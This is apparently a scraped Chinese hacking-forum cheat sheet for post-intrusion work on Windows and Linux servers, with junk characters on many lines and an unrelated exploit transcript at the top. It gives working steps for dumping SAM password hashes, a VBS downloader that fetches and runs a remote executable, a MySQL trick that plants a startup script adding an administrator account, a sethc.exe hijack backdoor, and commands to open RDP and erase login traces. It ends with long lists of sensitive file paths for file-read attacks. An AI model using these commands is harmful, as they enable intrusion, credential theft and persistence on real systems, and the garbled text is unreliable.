* [argp@julius ~]$ sysctl vfs.usermount
* D$ P8 M" p8 _( N4 B1 a& C* vfs.usermount: 1
5 B) H/ ?6 L; ]' h# W8 D) z% q* [argp@julius ~]$ id
0 n) S: o  r  s" k* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
& L3 I. ^( [1 m9 ^* [argp@julius ~]$ ./nfs_mount_ex
9 V5 b- H% _9 U9 f5 D" L0 M# ~+ Z*
% t8 \# Z' |6 R. hcalling nmount()
# M; D1 |$ Q- W$ r
5 m4 R5 W6 _; _, S0 Q0 c8 h7 l) J0 u（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
# l* ]( R' k3 ?  T0 M, h——————————————
( x/ @3 c% h& T- V/ P3 s* `+ _7 [# o感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- c- d* N) S1 }; T' ?, valzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
/ J8 W% y& @  j! T- }/ M% g3 ?5 q: k) ?{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
- i! n- ^0 U. g% Y3 {若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ {9 s+ S4 K# F8 D, i4 w}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
7 k( f6 P9 h* }: h9 [. krar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
4 E$ g5 u) X: S& C* E* @8 X3 q2、收集系统信息的脚本  
for window：
( h+ f* _- u2 P4 r4 W
" y2 n2 }5 _5 A+ `@echo off
$ S7 G) D& H0 U4 B: i$ f- [echo #########system info collection
- U! k6 c1 Z( P* ]! H, z5 osysteminfo
ver
hostname
net user
net localgroup
net localgroup administrators
1 k' W  \; I# h) W7 }8 dnet user guest
net user administrator
/ g! g/ P' a" d7 q6 o0 D3 ?
: m, b8 V/ w& E& [$ n9 Pecho #######at- with   atq#####
" R& }3 z: ]5 qecho schtask /query
0 V, t+ l" i7 N+ V. N
echo
$ N& i* a4 }  D6 {3 becho ####task-list#############
tasklist /svc
% R% @. U, I' a4 J  {% j9 _$ k7 Yecho
4 ]  f& V  i5 I  x% \5 vecho ####net-work infomation
) ^( Y; L+ o7 }5 \, iipconfig/all
/ w' u, v& R/ V+ M8 h/ froute print
arp -a
netstat -anipconfig /displaydns
* l7 t) k% f! G) J( c8 Hecho
echo #######service############
& r1 u! D* S* T. k( Csc query type= service state= all
8 |2 q2 c% |3 w2 H  lecho #######file-##############
) `3 D- j- V- t4 e8 h) d( vcd \
tree -F
for linux：
( b8 `3 n! @0 `4 i0 E3 t9 b- z
#!/bin/bash
- G1 J0 f: L8 t7 n
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
4 ?! F$ Z7 i" i6 `cat /proc/meminfo
/ D0 ?" D. c1 yecho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
& ^  {: r( @1 ^1 e. R9 w4 w! _

* H1 a  ]) l5 M8 g% E6 Lecho 'u'r id is' `id`
* `+ z, M' C( decho ###atq&crontab#####
atq
1 X; R  L0 W2 V) j; _  T9 @crontab -l
* o+ m) @5 y( U0 f. K/ Q' N3 O; G4 qecho #####about var#####
% ]( n; U: a. K$ Uset
* F! R  k3 `. k$ \* R
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
, n6 q: K- I) e: }9 K1 Warp -v
echo ########user####
) @6 W0 x+ Q+ D* m0 vcat /etc/passwd|grep -i sh
1 r# z6 L0 G0 J  `9 v
echo ######service####
! K* D: ~( n# P3 G! S8 kchkconfig --list

( c- i& i/ L* ]* e2 a: ?; ~6 Xfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
" R: b  o6 X$ l  e0 odone

locate passwd >/tmp/password 2>/dev/null
# b+ \) x/ U# F4 `$ p! t4 Z4 msleep 5
locate password >>/tmp/password 2>/dev/null
) h7 N, E* Y0 X% usleep 5
/ ?6 x; e1 U: e5 [locate conf >/tmp/sysconfig 2>dev/null
7 B2 B6 p" y- i8 n1 `2 zsleep 5
1 E& a$ e% v# `: p( Klocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

9 ?. ~& ^! M, l###maybe can use "tree /"###
echo ##packing up#########
9 n2 m% H: \6 {& j( ztar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
8 G8 S: v/ K, b- X2 S3、ethash 不免杀怎么获取本机hash。
. \  X1 |( m( y- v  A! {8 \首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 f8 p; `/ b2 O' ~4 J8 G& f( k9 S接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
2 I6 I+ K2 P+ a据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
0 S, m, ]7 u6 f8 U5 P: t——————————————
8 h5 q; {! _$ O; C) e1 K% N- T4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
5 ]% v0 O+ G$ j, x: m! _: Qecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
. U2 z+ h* A' L! U$ Vecho sGet.Open() >>c:\windows\cftmon.vbs
- t+ C/ t) h/ n- _echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
6 u  M7 K. J# k0 W) W# ^echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
; |" Y! R" X1 x- w1 D$ E2 T4 qcftmon.vbs
& D& E; P! m0 Q6 s
0 o# Q  S7 V" K2
On Error Resume Nextim iRemote,iLocal,s1,s2
6 @. i9 A% E% L  B( HiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
: k6 S3 Z+ P+ [7 i; I, W) y6 x7 Q8 m1 os1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
7 S4 ^# N1 ]% p+ r+ d& cSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
, M7 o" U# K$ MSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
+ E4 `) Y) E: R1 |/ r2 ?
8 G  k5 f* |5 `7 |  j1 d% |9 scscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
7 C- j8 J; {2 G0 C; X——————————————————
! Y' e2 R! W  N1 d6 Y% {; R5、
1.查询终端端口
( i0 \: [  F0 j+ N0 K! qREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
; W( B' Q5 I8 {3 o; H2.开启XP&2003终端服务
3 i$ r, v+ m$ L1 V3 }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
. i# Q/ s8 F1 j; XREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 V) X; o7 m4 x2 z! v————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
% T4 L4 l* R1 y7 S6 Kinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
4 b; c6 B9 |; U! f2 o' w; |select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3 T& W: g) y/ c; k2 L. g0 c————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

& L$ _9 ~9 m* [+ ?5 I% U6 D列出d的所有目录
8 Q+ e7 W/ Q( q7 `  
  for /d %i in (???) do @echo %i

1 Q( a/ g: _8 _( i5 ]  q4 G+ b把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
0 y5 F1 f( k3 p( e+ c# \9 w6 I  
! r. ~) I; _/ ~5 x以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
$ B8 l  O' F; d8 m/ i8 {
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
; Y  m# [" |9 S# a3 ^! I
5 z. K# S% u3 E$ j3.for /f %i in (c:\1.txt) do echo %i
  
6 j' b+ F4 x$ ~  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
* Q8 u  U0 R% ?5 v
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
, y! z/ A3 f0 e0 R: Y9 K8 ?; k——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
$ x& g0 {$ Y3 K$ j9 F5 h
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
2 a- W; M# [4 W+ |修改PortNumber.
# e2 N5 `9 \* c( d$ E# w
! U) c% q; p2 `. h  `' C; N# _4 Z3.清除3389登录记录:
7 ]7 ~, L) h  A& K) u5 C7 s  U6 Xreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
: P/ t  f7 e. Z3 [/ T+ m4 ^) L' Q
' X' J2 L8 o1 C- y; S' ~7 {4.Radmin密码:
5 S3 G* o  C, g8 x3 m6 [. h! creg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
/ K) c5 R: h; L; t, a+ \+ U" n" T
3 D- p" E, K3 \& @# f" g9 t6.IPSec默认免除项88端口(需重启):
- l8 I( Y3 v# k6 y) g% mreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
3 P9 c+ t% E3 P' c3 _netsh ipsec dynamic set config ipsecexempt value=0

$ C8 R7 Y; v& x9 r% L' }. z7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

/ w- |4 o/ V$ k& Y4 W8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
% G2 f5 m. d" wreg save hklm\security c:\security.hive
' U, Z1 n+ {2 n4 j, n
10.shift映像劫持
5 {9 H& S( I! d% oreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
  `  e- B+ G7 \1 D3 a7 R4 o9 C! I; J
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
) b  S* u, V9 E) w" ~-----------------------------------
星外vbs(注：测试通过，好东西）
: V5 A5 k4 {& i9 B5 VSet ObjService=GetObject("IIS://LocalHost/W3SVC")
6 o' m' \+ p4 IFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
' C. y/ t3 \5 }2 O+ E  X4 J6 Mif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
7 \( b; A' z8 sexit for
" z2 U1 Y3 [) }' @# Q5 v& Rmsgbox("error!")
3 l9 f1 m. {% l: g2 J, _& v+ Hwscript.quit
8 U5 I2 ?# ^  q6 O/ U: B4 G  Zend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
3 c: v' ?1 E1 ~8 z  A# p1 hpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
- C3 f9 U0 a7 u% ~end if
" F3 F8 {* D- y1 C8 @- ?1 dNext
, s' a% S  a* o7 J# x  \wscript.echo list
, D- m9 t* s0 _# `6 JSet ObjService=Nothing
- [2 E  P8 d- |) H5 w. g; g9 Cwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
3 v0 t1 W3 F7 |----------------------2011新气象，欢迎各位补充、指正、优化。----------------
# [! }/ |+ Z% H! {7 X* F1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
3 ^8 j) @! A3 t/ i0 L! a<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
$ w$ [; U- n. p( l</OBJECT>
1 J; I% C. Q# @0 D7 r/ L1 c复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
: c2 Z$ d* D0 n* lasp代码，利用的时候会出现登录问题
3 ?" L3 \) ?6 n$ @! @: u4 t 原因是ASP大马里有这样的代码：（没有就没事儿了）
" _/ [( e% m# S4 n7 t$ }/ X' | url=request.severvariables("url")
2 ~1 g( e3 Y" e5 I 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
8 [; M/ \1 j, J 解决方法
8 ~6 ]+ l2 }6 n% {& ? url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：
+ A/ n0 W" U, g9 K4 }5 o0 X
/ s9 K8 w: C6 h/etc/passwd
/etc/shadow
/etc/fstab
$ P* D3 e9 M. A# t! M/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
0 Y' g( l! ?4 N' v) p/var/httpd/conf/php.ini
- d! n1 x; w8 p* H5 a8 `/var/httpd/htdocs/index.php
) ^+ z2 U% F# t/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
) u" O1 m  I8 ^/ b/var/httpd/conf/php.ini
  f' a/ r0 l5 Q/var/www/index.html
0 r6 }) t5 z5 K, c4 j5 ^/var/www/index.php
; ~! }' z+ G. l  O/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
2 u- ?! f6 S! Z5 `/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
0 a2 N: I0 Z( ~* r/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
! T% l  [; q& p( J/usr/local/httpd2.2/htdocs/index.html
% [  O  U' p" r! ?* a2 i/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
. C% g) I. I; J5 }, N/etc/httpd/htdocs/index.php
" K+ [4 t8 K- u( g6 K/etc/httpd/conf/httpd.conf
! \4 R# F3 H( Z( t* Q/ l( t" Z/etc/httpd/htdocs/index.html
/www/php/php.ini
* m3 o& }2 i  \+ w/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
! G5 Z$ W; U- r  {/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
+ v) h. a  ?8 a  |& f/etc/apache/apache.conf
! S7 V5 }6 q" J# r6 O/etc/apache2/apache.conf
9 V' \* y! \3 [+ Y/ \/etc/apache/httpd.conf
/etc/apache2/httpd.conf
% v3 w0 X1 u# w# `: z( a* `/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
8 g' p5 ~& Y6 P3 H, j/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
% U) o* k$ r& V( u: q/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
* }) b7 ?7 h$ q# X) @/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
6 H) g3 a4 {1 ?0 C, i2 R# Q+ D  a/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
1 T$ d2 P5 f! A5 Z& W% q/var/log/apache/error.log
/var/log/apache/access_log
. y5 V2 j- M) m* |- k/var/log/apache/access.log
. E$ i: c% F! c" e9 B- B1 f% A/var/log/apache2/error_log
, X1 k& @$ P) Y% G/var/log/apache2/error.log
5 I7 X7 v/ J; C: U) e/var/log/apache2/access_log
4 w" E5 X8 v7 l: A* O5 ?9 a/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
* v  v( I' d# S- ]2 E! G; t1 R/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
+ f! Q. @$ a$ X) @$ x( L  b/usr/local/apache/logs/access.log
3 Q# w2 P- s3 H: p2 M6 ~6 C# Z/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
) k8 M$ }! w2 w* i% x/usr/local/apache/logs/access_logaccess_log.old
* l) Q! R9 O- c/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
7 J' a0 P2 I8 z5 H1 I2 C: d/bin/php.ini
/etc/init.d/httpd
2 s8 f6 U! B5 c* R/ e/etc/init.d/mysql
" b, o2 a* Q; M% R/ V0 j% G% t3 f8 S/etc/httpd/php.ini
% U# e; G* p) @: A/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
6 B( m" U  V2 K, S) P2 [/ E. u/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
6 s3 c" p9 l, Y3 D6 U4 a. l1 P2 f/usr/local/apache/conf/httpd.conf
$ x1 A& F' ^" H1 H/usr/local/apache2/conf/httpd.conf
' i- x$ p+ k, n+ l; K/usr/local/apache2/conf/php.ini
5 U) Y/ C5 h7 M/etc/php4.4/fcgi/php.ini
; f. F$ C: ~+ A* |; h# V- k' }/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/ O7 F  B0 O1 `: a' k* X/etc/php/php.ini
% ~$ ]8 Q; W; Z" G+ t6 X  w& @/etc/php/php4/php.ini
1 D: q" t, `4 X* a) m8 M% f/etc/php/apache/php.ini
/etc/php/apache2/php.ini
+ y4 r" Z& R2 I* G" L5 ^/web/conf/php.ini
/usr/local/Zend/etc/php.ini
8 n0 y7 x8 @% }- \) o- `/opt/xampp/etc/php.ini
( L4 `5 d5 d8 i/var/local/www/conf/php.ini
& s# }; D/ U2 }8 V/var/local/www/conf/httpd.conf
/ C) C# n1 @7 [! k2 K/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
1 E( E1 [, Y/ x. K) U7 e0 W/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
. D% d; d1 H" d. @9 @+ _6 e) K3 [/php/php.ini
/PHP/php.ini
  p9 \  P  v/ E) [4 N8 t/apache/php/php.ini
. ]$ _8 E" f  c0 _/xampp/apache/bin/php.ini
- f) x7 F  Q+ j' m, s0 N6 i/xampp/apache/conf/httpd.conf
! ?4 M: z, W+ J7 O  z4 N/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
% y( [( l6 o' q4 z  u$ d! U, T/var/log/mysql/mysql-bin.log
2 p- g+ I" L3 A  ]% W$ R3 f/var/log/mysql.log
/var/log/mysqlderror.log
9 B5 T- ^5 Y2 y$ J4 J8 S- o/var/log/mysql/mysql.log
0 h4 c& u6 t0 D7 y% a1 |- z/var/log/mysql/mysql-slow.log
/ c+ l+ U7 C( B% B+ G/var/mysql.log
( O8 P/ F1 V* l( i& U. X! R/var/lib/mysql/my.cnf
# j  \: k7 [, T$ W6 L- d8 H: j/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
$ P' q" C( W: K9 t; z2 F! v: r- q9 W/etc/my.cnf
, R2 a$ m; l6 }- Y5 Y/usr/local/cpanel/logs
0 u$ v8 q7 M8 M/ T2 A% X" e/usr/local/cpanel/logs/stats_log
2 P& D% |& G5 b) S; C9 [/usr/local/cpanel/logs/access_log
$ @8 r* Q' g: U* m# C. @8 G% n1 p1 a3 Q' Y/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
8 `, L% u/ [* ]7 d0 ]& x6 V$ y# o/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
0 b7 R( M$ J' O
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
+ k6 H6 `1 Q; A; }& H1 S: ~
) k) E3 N; g  rc:\windows\php.ini
c:\boot.ini
; ?: @4 n0 H/ V; |% Z5 Y# h, x. jc:\1.txt
c:\a.txt

2 X9 n$ I- a6 _! J+ Y" J) C" Qc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
5 d6 K7 X2 w4 ~. b) p" J4 ?c:\CMailServer\WebMail\index.asp
8 q( r) k  U) O3 H8 {c:\program files\CMailServer\CMailServer.exe
2 Q, W+ l3 N* f% l  x% wc:\program files\CMailServer\WebMail\index.asp
$ m' a  k3 Z$ z$ i% d7 v5 t% oC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
! e( ?- k' Y" h0 q) I
1 _8 {8 C' _! i$ r$ O2 b+ p( ~" lc:\hzhost\hzclient.exe
1 a% R" b( J& I5 W* zC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
' p! b( W  ]- ]0 y7 D! Z
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
) @: _8 t+ z" P6 I9 N$ c+ dC:\WINDOWS\web.config
. N/ D% A& B' d2 U3 `c:\web\index.html
c:\www\index.html
3 n. N, N- q# V1 y. d2 Bc:\WWWROOT\index.html
& H# w" b; e- rc:\website\index.html
c:\web\index.asp
2 K# U8 Y) I5 d5 z- ?c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
! L8 E0 `( U$ b) nc:\www\index.php
c:\WWWROOT\index.php
6 g' p8 `1 V4 Y; V. F: K4 |% dc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
0 }3 i' u  A0 _7 h- \3 ~. q6 J( r' zc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
0 |# e) w/ ?5 _: t. m# sc:\WWWROOT\default.asp
c:\web\default.php
) E4 @9 G( ?* ?c:\www\default.php
3 c5 g3 W8 w8 O# j- \7 m% Yc:\WWWROOT\default.php
c:\WWWsite\default.php
) L. D( `( _+ V/ w0 g; CC:\Inetpub\wwwroot\pagerror.gif
2 V& v) G- C. X5 v& L: R+ Rc:\windows\notepad.exe
c:\winnt\notepad.exe
' H% Y' W5 m- W5 G9 d& `# ?7 HC:\Program Files\Microsoft Office\OFFICE10\winword.exe
+ l$ `  Y, c7 p! F  L- y$ rC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
. }9 }3 A5 }; |, Z& rC:\Program Files\Internet Explorer\IEXPLORE.EXE
# x: i6 {" c1 E+ c5 X% h+ NC:\Program Files\winrar\rar.exe
9 e) o* y$ H$ t$ jC:\Program Files\360\360Safe\360safe.exe
  t- u; S6 s. \- k2 o0 i4 iC:\Program Files\360Safe\360safe.exe
2 `8 \1 q6 n, c4 l" r  U6 yC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
8 O( C  c) t" R. xc:\ravbin\store.ini
6 D# ?. c! x3 y# gc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
4 q1 {; O$ d: R1 i7 jC:\Documents and Settings\All Users\Start Menu\desktop.ini
- l5 `  v3 k# q9 c7 ZC:\Documents and Settings\Administrator\My Documents\Default.rdp
5 T) v1 S4 o: X$ pC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
* ^2 ~: C6 M0 @3 `3 Y! ZC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
* {  C) V0 m$ Z# p9 i  JC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
6 u/ L: G  g0 @* \* ^& R# A, ^* bC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
5 p6 T7 p2 Q( sC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
- p/ d! ~' S0 NC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
% a: V: I* |5 I& `  sC:\Program Files\MySQL\MySQL Server 5.0\COPYING
0 j7 k$ o; A4 w  H* PC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
  U. p. n8 L' A2 W; A4 MC:\WINDOWS\system32\inetsrv\w3wp.exe
' s% `$ r& U! n) {5 h2 ^9 b1 K9 ZC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
( I4 c0 j) D/ X0 y% mC:\WINDOWS\system32\config\default.LOG
" z4 o- Q* n, U9 i$ v  _' ?C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
1 F8 \/ d: ^) ?3 d  A0 L- Bc:\CMailServer\config.ini
' a) V8 m: k0 sc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
# j: m! e' n  i. Dc:\tomcat\bin\version.sh
